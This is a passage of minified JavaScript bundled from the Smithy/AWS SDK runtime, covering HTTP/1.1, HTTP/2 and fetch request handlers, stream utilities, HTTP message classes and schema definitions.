Promise((O)=>{A.on("continue",()=>{sj.clearTimeout(H),O(!0)}),A.on("response",()=>{sj.clearTimeout(H),O(!1)}),A.on("error",()=>{sj.clearTimeout(H),O(!1)})})]);if(J)r_5(A,K.body)}function r_5(A,K){if(K instanceof RB8.Readable){K.pipe(A);return}if(K){if(Buffer.isBuffer(K)||typeof K==="string"){A.end(K);return}let q=K;if(typeof q==="object"&&q.buffer&&typeof q.byteOffset==="number"&&typeof q.byteLength==="number"){A.end(Buffer.from(q.buffer,q.byteOffset,q.byteLength));return}A.end(Buffer.from(K));return}A.end()}var o_5=0;class $61{config;configProvider;socketWarningTimestamp=0;externalAgent=!1;metadata={handlerProtocol:"http/1.1"};static create(A){if(typeof A?.handle==="function")return A;return new $61(A)}static checkSocketUsage(A,K,q=console){let{sockets:Y,requests:z,maxSockets:w}=A;if(typeof w!=="number"||w===1/0)return K;let H=15000;if(Date.now()-H<K)return K;if(Y&&z)for(let J in Y){let O=Y[J]?.length??0,X=z[J]?.length??0;if(O>=w&&X>=2*w)return q?.warn?.(`@smithy/node-http-handler:WARN - socket usage at capacity=${O} and ${X} additional requests are enqueued. See https://docs.aws.amazon.com/sdk-for-javascript/v3/developer-guide/node-configuring-maxsockets.html or increase socketAcquisitionWarningTimeout=(millis) in the NodeHttpHandler config.`),Date.now()}return K}constructor(A){this.configProvider=new Promise((K,q)=>{if(typeof A==="function")A().then((Y)=>{K(this.resolveDefaultConfig(Y))}).catch(q);else K(this.resolveDefaultConfig(A))})}resolveDefaultConfig(A){let{requestTimeout:K,connectionTimeout:q,socketTimeout:Y,socketAcquisitionWarningTimeout:z,httpAgent:w,httpsAgent:H,throwOnRequestTimeout:J}=A||{},O=!0,X=50;return{connectionTimeout:q,requestTimeout:K,socketTimeout:Y,socketAcquisitionWarningTimeout:z,throwOnRequestTimeout:J,httpAgent:(()=>{if(w instanceof O61.Agent||typeof w?.destroy==="function")return this.externalAgent=!0,w;return new O61.Agent({keepAlive:!0,maxSockets:50,...w})})(),httpsAgent:(()=>{if(H instanceof X61.Agent||typeof H?.destroy==="function")return this.externalAgent=!0,H;return new X61.Agent({keepAlive:!0,maxSockets:50,...H})})(),logger:console}}destroy(){this.config?.httpAgent?.destroy(),this.config?.httpsAgent?.destroy()}async handle(A,{abortSignal:K,requestTimeout:q}={}){if(!this.config)this.config=await this.configProvider;return new Promise((Y,z)=>{let w=this.config,H=void 0,J=[],O=async(R)=>{await H,J.forEach(sj.clearTimeout),Y(R)},X=async(R)=>{await H,J.forEach(sj.clearTimeout),z(R)};if(K?.aborted){let R=Error("Request aborted");R.name="AbortError",X(R);return}let $=A.protocol==="https:",_=A.headers??{},G=(_.Expect??_.expect)==="100-continue",Z=$?w.httpsAgent:w.httpAgent;if(G&&!this.externalAgent)Z=new($?X61.Agent:O61.Agent)({keepAlive:!1,maxSockets:1/0});J.push(sj.setTimeout(()=>{this.socketWarningTimestamp=$61.checkSocketUsage(Z,this.socketWarningTimestamp,w.logger)},w.socketAcquisitionWarningTimeout??(w.requestTimeout??2000)+(w.connectionTimeout??1000)));let W=LB8.buildQueryString(A.query||{}),D=void 0;if(A.username!=null||A.password!=null){let R=A.username??"",x=A.password??"";D=`${R}:${x}`}let j=A.path;if(W)j+=`?${W}`;if(A.fragment)j+=`#${A.fragment}`;let M=A.hostname??"";if(M[0]==="["&&M.endsWith("]"))M=A.hostname.slice(1,-1);else M=A.hostname;let P={headers:A.headers,host:M,method:A.method,path:j,port:A.port,agent:Z,auth:D},N=($?X61.request:O61.request)(P,(R)=>{let x=new CB8.HttpResponse({statusCode:R.statusCode||-1,reason:R.statusMessage,headers:yB8(R.headers),body:R});O({response:x})});if(N.on("error",(R)=>{if(p_5.includes(R.code))X(Object.assign(R,{name:"TimeoutError"}));else X(R)}),K){let R=()=>{N.destroy();let x=Error("Request aborted");x.name="AbortError",X(x)};if(typeof K.addEventListener==="function"){let x=K;x.addEventListener("abort",R,{once:!0}),N.once("close",()=>x.removeEventListener("abort",R))}else K.onabort=R}let T=q??w.requestTimeout;J.push(d_5(N,X,w.connectionTimeout)),J.push(c_5(N,X,T,w.throwOnRequestTimeout,w.logger??console)),J.push(n_5(N,X,w.socketTimeout));let C=P.agent;if(typeof C==="object"&&"keepAlive"in C)J.push(i_5(N,{keepAlive:C.keepAlive,keepAliveMsecs:C.keepAliveMsecs}));H=IB8(N,A,T,this.externalAgent).catch((R)=>{return J.forEach(sj.clearTimeout),z(R)})})}updateHttpClientConfig(A,K){this.config=void 0,this.configProvider=this.configProvider.then((q)=>{return{...q,[A]:K}})}httpHandlerConfigs(){return this.config??{}}}class SB8{sessions=[];constructor(A){this.sessions=A??[]}poll(){if(this.sessions.length>0)return this.sessions.shift()}offerLast(A){this.sessions.push(A)}contains(A){return this.sessions.includes(A)}remove(A){this.sessions=this.sessions.filter((K)=>K!==A)}[Symbol.iterator](){return this.sessions[Symbol.iterator]()}destroy(A){for(let K of this.sessions)if(K===A){if(!K.destroyed)K.destroy()}}}class hB8{constructor(A){if(this.config=A,this.config.maxConcurrency&&this.config.maxConcurrency<=0)throw RangeError("maxConcurrency must be greater than zero.")}config;sessionCache=new Map;lease(A,K){let q=this.getUrlString(A),Y=this.sessionCache.get(q);if(Y){let J=Y.poll();if(J&&!this.config.disableConcurrency)return J}let z=Fl1.connect(q);if(this.config.maxConcurrency)z.settings({maxConcurrentStreams:this.config.maxConcurrency},(J)=>{if(J)throw Error("Fail to set maxConcurrentStreams to "+this.config.maxConcurrency+"when creating new session for "+A.destination.toString())});z.unref();let w=()=>{z.destroy(),this.deleteSession(q,z)};if(z.on("goaway",w),z.on("error",w),z.on("frameError",w),z.on("close",()=>this.deleteSession(q,z)),K.requestTimeout)z.setTimeout(K.requestTimeout,w);let H=this.sessionCache.get(q)||new SB8;return H.offerLast(z),this.sessionCache.set(q,H),z}deleteSession(A,K){let q=this.sessionCache.get(A);if(!q)return;if(!q.contains(K))return;q.remove(K),this.sessionCache.set(A,q)}release(A,K){let q=this.getUrlString(A);this.sessionCache.get(q)?.offerLast(K)}destroy(){for(let[A,K]of this.sessionCache){for(let q of K){if(!q.destroyed)q.destroy();K.remove(q)}this.sessionCache.delete(A)}}setMaxConcurrentStreams(A){if(A&&A<=0)throw RangeError("maxConcurrentStreams must be greater than zero.");this.config.maxConcurrency=A}setDisableConcurrentStreams(A){this.config.disableConcurrency=A}getUrlString(A){return A.destination.toString()}}class Ql1{config;configProvider;metadata={handlerProtocol:"h2"};connectionManager=new hB8({});static create(A){if(typeof A?.handle==="function")return A;return new Ql1(A)}constructor(A){this.configProvider=new Promise((K,q)=>{if(typeof A==="function")A().then((Y)=>{K(Y||{})}).catch(q);else K(A||{})})}destroy(){this.connectionManager.destroy()}async handle(A,{abortSignal:K,requestTimeout:q}={}){if(!this.config){if(this.config=await this.configProvider,this.connectionManager.setDisableConcurrentStreams(this.config.disableConcurrentStreams||!1),this.config.maxConcurrentStreams)this.connectionManager.setMaxConcurrentStreams(this.config.maxConcurrentStreams)}let{requestTimeout:Y,disableConcurrentStreams:z}=this.config,w=q??Y;return new Promise((H,J)=>{let O=!1,X=void 0,$=async(y)=>{await X,H(y)},_=async(y)=>{await X,J(y)};if(K?.aborted){O=!0;let y=Error("Request aborted");y.name="AbortError",_(y);return}let{hostname:G,method:Z,port:W,protocol:D,query:j}=A,M="";if(A.username!=null||A.password!=null){let y=A.username??"",B=A.password??"";M=`${y}:${B}@`}let P=`${D}//${M}${G}${W?`:${W}`:""}`,f={destination:new URL(P)},N=this.connectionManager.lease(f,{requestTimeout:this.config?.sessionTimeout,disableConcurrentStreams:z||!1}),T=(y)=>{if(z)this.destroySession(N);O=!0,_(y)},C=LB8.buildQueryString(j||{}),R=A.path;if(C)R+=`?${C}`;if(A.fragment)R+=`#${A.fragment}`;let x=N.request({...A.headers,[Fl1.constants.HTTP2_HEADER_PATH]:R,[Fl1.constants.HTTP2_HEADER_METHOD]:Z});if(N.ref(),x.on("response",(y)=>{let B=new CB8.HttpResponse({statusCode:y[":status"]||-1,headers:yB8(y),body:x});if(O=!0,$({response:B}),z)N.close(),this.connectionManager.deleteSession(P,N)}),w)x.setTimeout(w,()=>{x.close();let y=Error(`Stream timed out because of no activity for ${w} ms`);y.name="TimeoutError",T(y)});if(K){let y=()=>{x.close();let B=Error("Request aborted");B.name="AbortError",T(B)};if(typeof K.addEventListener==="function"){let B=K;B.addEventListener("abort",y,{once:!0}),x.once("close",()=>B.removeEventListener("abort",y))}else K.onabort=y}x.on("frameError",(y,B,b)=>{T(Error(`Frame type id ${y} in stream id ${b} has failed with code ${B}.`))}),x.on("error",T),x.on("aborted",()=>{T(Error(`HTTP/2 stream is abnormally aborted in mid-communication with result code ${x.rstCode}.`))}),x.on("close",()=>{if(N.unref(),z)N.destroy();if(!O)T(Error("Unexpected error: http2 request did not get a response"))}),X=IB8(x,A,w)})}updateHttpClientConfig(A,K){this.config=void 0,this.configProvider=this.configProvider.then((q)=>{return{...q,[A]:K}})}httpHandlerConfigs(){return this.config??{}}destroySession(A){if(!A.destroyed)A.destroy()}}class bB8 extends RB8.Writable{bufferedBytes=[];_write(A,K,q){this.bufferedBytes.push(A),q()}}var a_5=(A)=>{if(s_5(A))return t_5(A);return new Promise((K,q)=>{let Y=new bB8;A.pipe(Y),A.on("error",(z)=>{Y.end(),q(z)}),Y.on("error",q),Y.on("finish",function(){let z=new Uint8Array(Buffer.concat(this.bufferedBytes));K(z)})})},s_5=(A)=>typeof ReadableStream==="function"&&A instanceof ReadableStream;async function t_5(A){let K=[],q=A.getReader(),Y=!1,z=0;while(!Y){let{done:J,value:O}=await q.read();if(O)K.push(O),z+=O.length;Y=J}let w=new Uint8Array(z),H=0;for(let J of K)w.set(J,H),H+=J.length;return w}e_5.DEFAULT_REQUEST_TIMEOUT=o_5;e_5.NodeHttp2Handler=Ql1;e_5.NodeHttpHandler=$61;e_5.streamCollector=a_5});var xB8=v((XG5)=>{XG5.HttpAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(XG5.HttpAuthLocation||(XG5.HttpAuthLocation={}));XG5.HttpApiKeyAuthLocation=void 0;(function(A){A.HEADER="header",A.QUERY="query"})(XG5.HttpApiKeyAuthLocation||(XG5.HttpApiKeyAuthLocation={}));XG5.EndpointURLScheme=void 0;(function(A){A.HTTP="http",A.HTTPS="https"})(XG5.EndpointURLScheme||(XG5.EndpointURLScheme={}));XG5.AlgorithmId=void 0;(function(A){A.MD5="md5",A.CRC32="crc32",A.CRC32C="crc32c",A.SHA1="sha1",A.SHA256="sha256"})(XG5.AlgorithmId||(XG5.AlgorithmId={}));var zG5=(A)=>{let K=[];if(A.sha256!==void 0)K.push({algorithmId:()=>XG5.AlgorithmId.SHA256,checksumConstructor:()=>A.sha256});if(A.md5!=null)K.push({algorithmId:()=>XG5.AlgorithmId.MD5,checksumConstructor:()=>A.md5});return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},wG5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},HG5=(A)=>{return zG5(A)},JG5=(A)=>{return wG5(A)};XG5.FieldPosition=void 0;(function(A){A[A.HEADER=0]="HEADER",A[A.TRAILER=1]="TRAILER"})(XG5.FieldPosition||(XG5.FieldPosition={}));var OG5="__smithy_context";XG5.IniSectionType=void 0;(function(A){A.PROFILE="profile",A.SSO_SESSION="sso-session",A.SERVICES="services"})(XG5.IniSectionType||(XG5.IniSectionType={}));XG5.RequestHandlerProtocol=void 0;(function(A){A.HTTP_0_9="http/0.9",A.HTTP_1_0="http/1.0",A.TDS_8_0="tds/8.0"})(XG5.RequestHandlerProtocol||(XG5.RequestHandlerProtocol={}));XG5.SMITHY_CONTEXT_KEY=OG5;XG5.getDefaultClientConfiguration=HG5;XG5.resolveDefaultRuntimeConfig=JG5});var gB8=v((PG5)=>{var ZG5=xB8(),WG5=(A)=>{return{setHttpHandler(K){A.httpHandler=K},httpHandler(){return A.httpHandler},updateHttpClientConfig(K,q){A.httpHandler?.updateHttpClientConfig(K,q)},httpHandlerConfigs(){return A.httpHandler.httpHandlerConfigs()}}},DG5=(A)=>{return{httpHandler:A.httpHandler()}};class uB8{name;kind;values;constructor({name:A,kind:K=ZG5.FieldPosition.HEADER,values:q=[]}){this.name=A,this.kind=K,this.values=q}add(A){this.values.push(A)}set(A){this.values=A}remove(A){this.values=this.values.filter((K)=>K!==A)}toString(){return this.values.map((A)=>A.includes(",")||A.includes(" ")?`"${A}"`:A).join(", ")}get(){return this.values}}class BB8{entries={};encoding;constructor({fields:A=[],encoding:K="utf-8"}){A.forEach(this.setField.bind(this)),this.encoding=K}setField(A){this.entries[A.name.toLowerCase()]=A}getField(A){return this.entries[A.toLowerCase()]}removeField(A){delete this.entries[A.toLowerCase()]}getByType(A){return Object.values(this.entries).filter((K)=>K.kind===A)}}class _61{method;protocol;hostname;port;path;query;headers;username;password;fragment;body;constructor(A){this.method=A.method||"GET",this.hostname=A.hostname||"localhost",this.port=A.port,this.query=A.query||{},this.headers=A.headers||{},this.body=A.body,this.protocol=A.protocol?A.protocol.slice(-1)!==":"?`${A.protocol}:`:A.protocol:"https:",this.path=A.path?A.path.charAt(0)!=="/"?`/${A.path}`:A.path:"/",this.username=A.username,this.password=A.password,this.fragment=A.fragment}static clone(A){let K=new _61({...A,headers:{...A.headers}});if(K.query)K.query=jG5(K.query);return K}static isInstance(A){if(!A)return!1;let K=A;return"method"in K&&"protocol"in K&&"hostname"in K&&"path"in K&&typeof K.query==="object"&&typeof K.headers==="object"}clone(){return _61.clone(this)}}function jG5(A){return Object.keys(A).reduce((K,q)=>{let Y=A[q];return{...K,[q]:Array.isArray(Y)?[...Y]:Y}},{})}class mB8{statusCode;reason;headers;body;constructor(A){this.statusCode=A.statusCode,this.reason=A.reason,this.headers=A.headers||{},this.body=A.body}static isInstance(A){if(!A)return!1;let K=A;return typeof K.statusCode==="number"&&typeof K.headers==="object"}}function MG5(A){return/^[a-z0-9][a-z0-9\.\-]*[a-z0-9]$/.test(A)}PG5.Field=uB8;PG5.Fields=BB8;PG5.HttpRequest=_61;PG5.HttpResponse=mB8;PG5.getHttpHandlerExtensionConfiguration=WG5;PG5.isValidHostname=MG5;PG5.resolveHttpHandlerRuntimeConfig=DG5});var QB8=v((RG5)=>{var FB8=(A)=>encodeURIComponent(A).replace(/[!'()*]/g,CG5),CG5=(A)=>`%${A.charCodeAt(0).toString(16).toUpperCase()}`,LG5=(A)=>A.split("/").map(FB8).join("/");RG5.escapeUri=FB8;RG5.escapeUriPath=LG5});var UB8=v((hG5)=>{var nl1=QB8();function SG5(A){let K=[];for(let q of Object.keys(A).sort()){let Y=A[q];if(q=nl1.escapeUri(q),Array.isArray(Y))for(let z=0,w=Y.length;z<w;z++)K.push(`${q}=${nl1.escapeUri(Y[z])}`);else{let z=q;if(Y||typeof Y==="string")z+=`=${nl1.escapeUri(Y)}`;K.push(z)}}return K.join("&")}hG5.buildQueryString=SG5});var cB8=v((UG5)=>{var pB8=gB8(),xG5=UB8(),uG5=oJA();function dB8(A,K){return new Request(A,K)}function BG5(A=0){return new Promise((K,q)=>{if(A)setTimeout(()=>{let Y=Error(`Request did not complete within ${A} ms`);Y.name="TimeoutError",q(Y)},A)})}var G61={supported:void 0};class rl1{config;configProvider;static create(A){if(typeof A?.handle==="function")return A;return new rl1(A)}constructor(A){if(typeof A==="function")this.configProvider=A().then((K)=>K||{});else this.config=A??{},this.configProvider=Promise.resolve(this.config);if(G61.supported===void 0)G61.supported=Boolean(typeof Request<"u"&&"keepalive"in dB8("https://[::1]"))}destroy(){}async handle(A,{abortSignal:K,requestTimeout:q}={}){if(!this.config)this.config=await this.configProvider;let Y=q??this.config.requestTimeout,z=this.config.keepAlive===!0,w=this.config.credentials;if(K?.aborted){let M=Error("Request aborted");return M.name="AbortError",Promise.reject(M)}let H=A.path,J=xG5.buildQueryString(A.query||{});if(J)H+=`?${J}`;if(A.fragment)H+=`#${A.fragment}`;let O="";if(A.username!=null||A.password!=null){let M=A.username??"",P=A.password??"";O=`${M}:${P}@`}let{port:X,method:$}=A,_=`${A.protocol}//${O}${A.hostname}${X?`:${X}`:""}${H}`,G=$==="GET"||$==="HEAD"?void 0:A.body,Z={body:G,headers:new Headers(A.headers),method:$,credentials:w};if(this.config?.cache)Z.cache=this.config.cache;if(G)Z.duplex="half";if(typeof AbortController<"u")Z.signal=K;if(G61.supported)Z.keepalive=z;if(typeof this.config.requestInit==="function")Object.assign(Z,this.config.requestInit(A));let W=()=>{},D=dB8(_,Z),j=[fetch(D).then((M)=>{let P=M.headers,f={};for(let T of P.entries())f[T[0]]=T[1];if(M.body==null)return M.blob().then((T)=>({response:new pB8.HttpResponse({headers:f,reason:M.statusText,statusCode:M.status,body:T})}));return{response:new pB8.HttpResponse({headers:f,reason:M.statusText,statusCode:M.status,body:M.body})}}),BG5(Y)];if(K)j.push(new Promise((M,P)=>{let f=()=>{let N=Error("Request aborted");N.name="AbortError",P(N)};if(typeof K.addEventListener==="function"){let N=K;N.addEventListener("abort",f,{once:!0}),W=()=>N.removeEventListener("abort",f)}else K.onabort=f}));return Promise.race(j).finally(W)}updateHttpClientConfig(A,K){this.config=void 0,this.configProvider=this.configProvider.then((q)=>{return q[A]=K,q})}httpHandlerConfigs(){return this.config??{}}}var mG5=async(A)=>{if(typeof Blob==="function"&&A instanceof Blob||A.constructor?.name==="Blob"){if(Blob.prototype.arrayBuffer!==void 0)return new Uint8Array(await A.arrayBuffer());return gG5(A)}return FG5(A)};async function gG5(A){let K=await QG5(A),q=uG5.fromBase64(K);return new Uint8Array(q)}async function FG5(A){let K=[],q=A.getReader(),Y=!1,z=0;while(!Y){let{done:J,value:O}=await q.read();if(O)K.push(O),z+=O.length;Y=J}let w=new Uint8Array(z),H=0;for(let J of K)w.set(J,H),H+=J.length;return w}function QG5(A){return new Promise((K,q)=>{let Y=new FileReader;Y.onloadend=()=>{if(Y.readyState!==2)return q(Error("Reader aborted too early"));let z=Y.result??"",w=z.indexOf(","),H=w>-1?w+1:z.length;K(z.substring(H))},Y.onabort=()=>q(Error("Read aborted")),Y.onerror=()=>q(Y.error),Y.readAsDataURL(A)})}UG5.FetchHttpHandler=rl1;UG5.keepAliveSupport=G61;UG5.streamCollector=mG5});var iB8=v((nG5)=>{var lB8={},ol1={};for(let A=0;A<256;A++){let K=A.toString(16).toLowerCase();if(K.length===1)K=`0${K}`;lB8[A]=K,ol1[K]=A}function lG5(A){if(A.length%2!==0)throw Error("Hex encoded strings must have an even number length");let K=new Uint8Array(A.length/2);for(let q=0;q<A.length;q+=2){let Y=A.slice(q,q+2).toLowerCase();if(Y in ol1)K[q/2]=ol1[Y];else throw Error(`Cannot decode unrecognized sequence ${Y} as hexadecimal`)}return K}function iG5(A){let K="";for(let q=0;q<A.byteLength;q++)K+=lB8[A[q]];return K}nG5.fromHex=lG5;nG5.toHex=iG5});var tB8=v((aB8)=>{Object.defineProperty(aB8,"__esModule",{value:!0});aB8.sdkStreamMixin=void 0;var aG5=cB8(),sG5=oJA(),tG5=iB8(),eG5=_z(),nB8=ii(),rB8="The stream has already been transformed.",AZ5=(A)=>{if(!oB8(A)&&!(0,nB8.isReadableStream)(A)){let z=A?.__proto__?.constructor?.name||A;throw Error(`Unexpected stream implementation, expect Blob or ReadableStream, got ${z}`)}let K=!1,q=async()=>{if(K)throw Error(rB8);return K=!0,await(0,aG5.streamCollector)(A)},Y=(z)=>{if(typeof z.stream!=="function")throw Error(`Cannot transform payload Blob to web stream. Please make sure the Blob.stream() is polyfilled. If you are using React Native, this API is not yet supported, see: https://react-native.canny.io/feature-requests/p/fetch-streaming-body`);return z.stream()};return Object.assign(A,{transformToByteArray:q,transformToString:async(z)=>{let w=await q();if(z==="base64")return(0,sG5.toBase64)(w);else if(z==="hex")return(0,tG5.toHex)(w);else if(z===void 0||z==="utf8"||z==="utf-8")return(0,eG5.toUtf8)(w);else if(typeof TextDecoder==="function")return new TextDecoder(z).decode(w);else throw Error("TextDecoder is not available, please make sure polyfill is provided.")},transformToWebStream:()=>{if(K)throw Error(rB8);if(K=!0,oB8(A))return Y(A);else if((0,nB8.isReadableStream)(A))return A;else throw Error(`Cannot transform payload to web stream, got ${A}`)}})};aB8.sdkStreamMixin=AZ5;var oB8=(A)=>typeof Blob==="function"&&A instanceof Blob});var qm8=v((Am8)=>{Object.defineProperty(Am8,"__esModule",{value:!0});Am8.sdkStreamMixin=void 0;var KZ5=zT(),qZ5=w61(),al1=CA("stream"),YZ5=tB8(),eB8="The stream has already been transformed.",zZ5=(A)=>{if(!(A instanceof al1.Readable))try{return(0,YZ5.sdkStreamMixin)(A)}catch(Y){let z=A?.__proto__?.constructor?.name||A;throw Error(`Unexpected stream implementation, expect Stream.Readable instance, got ${z}`)}let K=!1,q=async()=>{if(K)throw Error(eB8);return K=!0,await(0,KZ5.streamCollector)(A)};return Object.assign(A,{transformToByteArray:q,transformToString:async(Y)=>{let z=await q();if(Y===void 0||Buffer.isEncoding(Y))return(0,qZ5.fromArrayBuffer)(z.buffer,z.byteOffset,z.byteLength).toString(Y);else return new TextDecoder(Y).decode(z)},transformToWebStream:()=>{if(K)throw Error(eB8);if(A.readableFlowing!==null)throw Error("The stream has been consumed by other callbacks.");if(typeof al1.Readable.toWeb!=="function")throw Error("Readable.toWeb() is not supported. Please ensure a polyfill is available.");return K=!0,al1.Readable.toWeb(A)}})};Am8.sdkStreamMixin=zZ5});var zm8=v((Ym8)=>{Object.defineProperty(Ym8,"__esModule",{value:!0});Ym8.splitStream=wZ5;async function wZ5(A){if(typeof A.stream==="function")A=A.stream();return A.tee()}});var Om8=v((Jm8)=>{Object.defineProperty(Jm8,"__esModule",{value:!0});Jm8.splitStream=OZ5;var wm8=CA("stream"),JZ5=zm8(),Hm8=ii();async function OZ5(A){if((0,Hm8.isReadableStream)(A)||(0,Hm8.isBlob)(A))return(0,JZ5.splitStream)(A);let K=new wm8.PassThrough,q=new wm8.PassThrough;return A.pipe(K),A.pipe(q),[K,q]}});var sl1=v((vZ)=>{var Xm8=oJA(),$m8=_z(),_m8=Il1(),Gm8=nu8(),Zm8=wB8(),Wm8=OB8(),Dm8=WB8(),jm8=qm8(),Mm8=Om8(),Pm8=ii();class VCA extends Uint8Array{static fromString(A,K="utf-8"){if(typeof A==="string"){if(K==="base64")return VCA.mutate(Xm8.fromBase64(A));return VCA.mutate($m8.fromUtf8(A))}throw Error(`Unsupported conversion from ${typeof A} to Uint8ArrayBlobAdapter.`)}static mutate(A){return Object.setPrototypeOf(A,VCA.prototype),A}transformToString(A="utf-8"){if(A==="base64")return Xm8.toBase64(this);return $m8.toUtf8(this)}}vZ.Uint8ArrayBlobAdapter=VCA;Object.keys(_m8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(vZ,A))Object.defineProperty(vZ,A,{enumerable:!0,get:function(){return _m8[A]}})});Object.keys(Gm8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(vZ,A))Object.defineProperty(vZ,A,{enumerable:!0,get:function(){return Gm8[A]}})});Object.keys(Zm8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(vZ,A))Object.defineProperty(vZ,A,{enumerable:!0,get:function(){return Zm8[A]}})});Object.keys(Wm8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(vZ,A))Object.defineProperty(vZ,A,{enumerable:!0,get:function(){return Wm8[A]}})});Object.keys(Dm8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(vZ,A))Object.defineProperty(vZ,A,{enumerable:!0,get:function(){return Dm8[A]}})});Object.keys(jm8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(vZ,A))Object.defineProperty(vZ,A,{enumerable:!0,get:function(){return jm8[A]}})});Object.keys(Mm8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(vZ,A))Object.defineProperty(vZ,A,{enumerable:!0,get:function(){return Mm8[A]}})});Object.keys(Pm8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(vZ,A))Object.defineProperty(vZ,A,{enumerable:!0,get:function(){return Pm8[A]}})})});var DJ=v((vZ5)=>{var _Z5=DCA(),Vm8=WD(),Z61=(A)=>{if(typeof A==="function")return A();return A},Ai1=(A,K,q,Y,z)=>({name:K,namespace:A,traits:q,input:Y,output:z}),GZ5=(A)=>(K,q)=>async(Y)=>{let{response:z}=await K(Y),{operationSchema:w}=Vm8.getSmithyContext(q),[,H,J,O,X,$]=w??[];try{let _=await A.protocol.deserializeResponse(Ai1(H,J,O,X,$),{...A,...q},z);return{response:z,output:_}}catch(_){if(Object.defineProperty(_,"$response",{value:z,enumerable:!1,writable:!1,configurable:!1}),!("$metadata"in _)){try{_.message+=` Deserialization error: to see the raw response, inspect the hidden field {error}.$response on this object.`}catch(Z){if(!q.logger||q.logger?.constructor?.name==="NoOpLogger")console.warn("Deserialization error: to see the raw response, inspect the hidden field {error}.$response on this object.");else q.logger?.warn?.("Deserialization error: to see the raw response, inspect the hidden field {error}.$response on this object.")}if(typeof _.$responseBodyText<"u"){if(_.$response)_.$response.body=_.$responseBodyText}try{if(_Z5.HttpResponse.isInstance(z)){let{headers:Z={}}=z,W=Object.entries(Z);_.$metadata={httpStatusCode:z.statusCode,requestId:tl1(/^x-[\w-]+-request-?id$/,W),extendedRequestId:tl1(/^x-[\w-]+-id-2$/,W),cfId:tl1(/^x-[\w-]+-cf-id$/,W)}}}catch(Z){}}throw _}},tl1=(A,K)=>{return(K.find(([q])=>{return q.match(A)})||[void 0,void 0])[1]},ZZ5=(A)=>(K,q)=>async(Y)=>{let{operationSchema:z}=Vm8.getSmithyContext(q),[,w,H,J,O,X]=z??[],$=q.endpointV2?.url&&A.urlParser?async()=>A.urlParser(q.endpointV2.url):A.endpoint,_=await A.protocol.serializeRequest(Ai1(w,H,J,O,X),Y.input,{...A,...q,endpoint:$});return K({...Y,request:_})},fm8={name:"deserializerMiddleware",step:"deserialize",tags:["DESERIALIZER"],override:!0},Nm8={name:"serializerMiddleware",step:"serialize",tags:["SERIALIZER"],override:!0};function WZ5(A){return{applyToStack:(K)=>{K.add(ZZ5(A),Nm8),K.add(GZ5(A),fm8),A.protocol.setSerdeContext(A)}}}class MV{name;namespace;traits;static assign(A,K){return Object.assign(A,K)}static[Symbol.hasInstance](A){let K=this.prototype.isPrototypeOf(A);if(!K&&typeof A==="object"&&A!==null)return A.symbol===this.symbol;return K}getName(){return this.namespace+"#"+this.name}}class W61 extends MV{static symbol=Symbol.for("@smithy/lis");name;traits;valueSchema;symbol=W61.symbol}var DZ5=(A,K,q,Y)=>MV.assign(new W61,{name:K,namespace:A,traits:q,valueSchema:Y});class D61 extends MV{static symbol=Symbol.for("@smithy/map");name;traits;keySchema;valueSchema;symbol=D61.symbol}var jZ5=(A,K,q,Y,z)=>MV.assign(new D61,{name:K,namespace:A,traits:q,keySchema:Y,valueSchema:z});class j61 extends MV{static symbol=Symbol.for("@smithy/ope");name;traits;input;output;symbol=j61.symbol}var MZ5=(A,K,q,Y,z)=>MV.assign(new j61,{name:K,namespace:A,traits:q,input:Y,output:z});class TCA extends MV{static symbol=Symbol.for("@smithy/str");name;traits;memberNames;memberList;symbol=TCA.symbol}var PZ5=(A,K,q,Y,z)=>MV.assign(new TCA,{name:K,namespace:A,traits:q,memberNames:Y,memberList:z});class M61 extends TCA{static symbol=Symbol.for("@smithy/err");ctor;symbol=M61.symbol}var VZ5=(A,K,q,Y,z,w)=>MV.assign(new M61,{name:K,namespace:A,traits:q,memberNames:Y,memberList:z,ctor:null});function NCA(A){if(typeof A==="object")return A;A=A|0;let K={},q=0;for(let Y of["httpLabel","idempotent","idempotencyToken","sensitive","httpPayload","httpResponseCode","httpQueryParams"])if((A>>q++&1)===1)K[Y]=1;return K}class UF{ref;memberName;static symbol=Symbol.for("@smithy/nor");symbol=UF.symbol;name;schema;_isMemberSchema;traits;memberTraits;normalizedTraits;constructor(A,K){this.ref=A,this.memberName=K;let q=[],Y=A,z=A;this._isMemberSchema=!1;while(el1(Y))q.push(Y[1]),Y=Y[0],z=Z61(Y),this._isMemberSchema=!0;if(q.length>0){this.memberTraits={};for(let w=q.length-1;w>=0;--w){let H=q[w];Object.assign(this.memberTraits,NCA(H))}}else this.memberTraits=0;if(z instanceof UF){let w=this.memberTraits;Object.assign(this,z),this.memberTraits=Object.assign({},w,z.getMemberTraits(),this.getMemberTraits()),this.normalizedTraits=void 0,this.memberName=K??z.memberName;return}if(this.schema=Z61(z),Tm8(this.schema))this.name=`${this.schema[1]}#${this.schema[2]}`,this.traits=this.schema[3];else this.name=this.memberName??String(z),this.traits=0;if(this._isMemberSchema&&!K)throw Error(`@smithy/core/schema - NormalizedSchema member init ${this.getName(!0)} missing member name.`)}static[Symbol.hasInstance](A){let K=this.prototype.isPrototypeOf(A);if(!K&&typeof A==="object"&&A!==null)return A.symbol===this.symbol;return K}static of(A){let K=Z61(A);if(K instanceof UF)return K;if(el1(K)){let[q,Y]=K;if(q instanceof UF)return Object.assign(q.getMergedTraits(),NCA(Y)),q;throw Error(`@smithy/core/schema - may not init unwrapped member schema=${JSON.stringify(A,null,2)}.`)}return new UF(K)}getSchema(){let A=this.schema;if(A[0]===0)return A[4];return A}getName(A=!1){let{name:K}=this;return!A&&K&&K.includes("#")?K.split("#")[1]:K||void 0}getMemberName(){return this.memberName}isMemberSchema(){return this._isMemberSchema}isListSchema(){let A=this.getSchema();return typeof A==="number"?A>=64&&A<128:A[0]===1}isMapSchema(){let A=this.getSchema();return typeof 